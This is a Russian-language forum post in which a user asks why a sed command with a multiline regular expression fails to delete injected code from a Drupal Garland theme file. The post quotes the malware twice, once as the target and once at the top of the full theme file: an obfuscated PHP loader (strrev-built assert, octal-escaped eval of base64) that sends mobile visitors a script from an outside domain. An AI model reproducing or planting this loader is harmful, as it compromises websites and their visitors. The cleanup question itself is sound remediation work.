LinuxForum.Fans
Тема

sed и регулярные выражения

Автор: sibero 1 сообщений 1919 просмотров
#289265

Решил вынести в отдельную тему вопрос по работе с регулярными выражениями в sed (начальная тема Поиск и замена сложных строк ).

Задача по регулярному выражению найти и удалить код в файле:
Код который нужно удалить:

text
<?php
$_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\051\051\073");
?>

Написал регулярное выражение которое выявляет данный код из текста, проверил его, работает.

text
\<\?php\n\$_ = strrev\('tressa'\).+?\n\?\>

Пробую заменить код в файле:

text
sed -i "s#\<\?php\n\$_ = strrev\('tressa'\).+?\n\?\>#текст замены#g" test.php

Не работает, пробую так:

text
sed -r -i "s#\<\?php\n\$_ = strrev\('tressa'\).+?\n\?\>#текст замены#g" test.php

Тоже не работает. Не могу понять в чем дело, регулярное выражение верное, команда так же написано верно, вроде бы. Подскажите, пожалуйста, в каком моменте я ошибся, как мне по данному регулярному выражению провести поиск и замену в sed?

Файл в котором провожу поиск и замену:

Показать
text
<?php
$_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\051\051\073");
?>
<?php

/** * Override of theme_breadcrumb(). */ function garland_breadcrumb($variables) { $breadcrumb = $variables['breadcrumb'];

if (!empty($breadcrumb)) { // Provide a navigational heading to give context for breadcrumb links to // screen-reader users. Make the heading invisible with .element-invisible. $output = '<h2 class="element-invisible">' . t('You are here') . '</h2>';

$output .= '<div class="breadcrumb">' . implode(' › ', $breadcrumb) . '</div>'; return $output; } }

/** * Override or insert variables into the maintenance page template. */ function garland_preprocess_maintenance_page(&$vars) { // While markup for normal pages is split into page.tpl.php and html.tpl.php, // the markup for the maintenance page is all in the single // maintenance-page.tpl.php template. So, to have what's done in // garland_preprocess_html() also happen on the maintenance page, it has to be // called here. garland_preprocess_html($vars); }

/** * Override or insert variables into the html template. */ function garland_preprocess_html(&$vars) { // Toggle fixed or fluid width. if (theme_get_setting('garland_width') == 'fluid') { $vars['classes_array'][] = 'fluid-width'; } // Add conditional CSS for IE6. drupal_add_css(path_to_theme() . '/fix-ie.css', array('group' => CSS_THEME, 'browsers' => array('IE' => 'lt IE 7', '!IE' => FALSE), 'preprocess' => FALSE)); }

/** * Override or insert variables into the html template. */ function garland_process_html(&$vars) { // Hook into color.module if (module_exists('color')) { _color_html_alter($vars); } }

/** * Override or insert variables into the page template. */ function garland_preprocess_page(&$vars) { // Move secondary tabs into a separate variable. $vars['tabs2'] = array( '#theme' => 'menu_local_tasks', '#secondary' => $vars['tabs']['#secondary'], ); unset($vars['tabs']['#secondary']);

if (isset($vars['main_menu'])) { $vars['primary_nav'] = theme('links__system_main_menu', array( 'links' => $vars['main_menu'], 'attributes' => array( 'class' => array('links', 'inline', 'main-menu'), ), 'heading' => array( 'text' => t('Main menu'), 'level' => 'h2', 'class' => array('element-invisible'), ) )); } else { $vars['primary_nav'] = FALSE; } if (isset($vars['secondary_menu'])) { $vars['secondary_nav'] = theme('links__system_secondary_menu', array( 'links' => $vars['secondary_menu'], 'attributes' => array( 'class' => array('links', 'inline', 'secondary-menu'), ), 'heading' => array( 'text' => t('Secondary menu'), 'level' => 'h2', 'class' => array('element-invisible'), ) )); } else { $vars['secondary_nav'] = FALSE; }

// Prepare header. $site_fields = array(); if (!empty($vars['site_name'])) { $site_fields[] = $vars['site_name']; } if (!empty($vars['site_slogan'])) { $site_fields[] = $vars['site_slogan']; } $vars['site_title'] = implode(' ', $site_fields); if (!empty($site_fields)) { $site_fields[0] = '<span>' . $site_fields[0] . '</span>'; } $vars['site_html'] = implode(' ', $site_fields);

// Set a variable for the site name title and logo alt attributes text. $slogan_text = $vars['site_slogan']; $site_name_text = $vars['site_name']; $vars['site_name_and_slogan'] = $site_name_text . ' ' . $slogan_text; }

/** * Override or insert variables into the node template. */ function garland_preprocess_node(&$vars) { $vars['submitted'] = $vars['date'] . ' — ' . $vars['name']; }

/** * Override or insert variables into the comment template. */ function garland_preprocess_comment(&$vars) { $vars['submitted'] = $vars['created'] . ' — ' . $vars['author']; }

/** * Override or insert variables into the block template. */ function garland_preprocess_block(&$vars) { $vars['title_attributes_array']['class'][] = 'title'; $vars['classes_array'][] = 'clearfix'; }

/** * Override or insert variables into the page template. */ function garland_process_page(&$vars) { // Hook into color.module if (module_exists('color')) { _color_page_alter($vars); } }

/** * Override or insert variables into the region template. */ function garland_preprocess_region(&$vars) { if ($vars['region'] == 'header') { $vars['classes_array'][] = 'clearfix'; } }

Войдите или зарегистрируйтесь, чтобы ответить.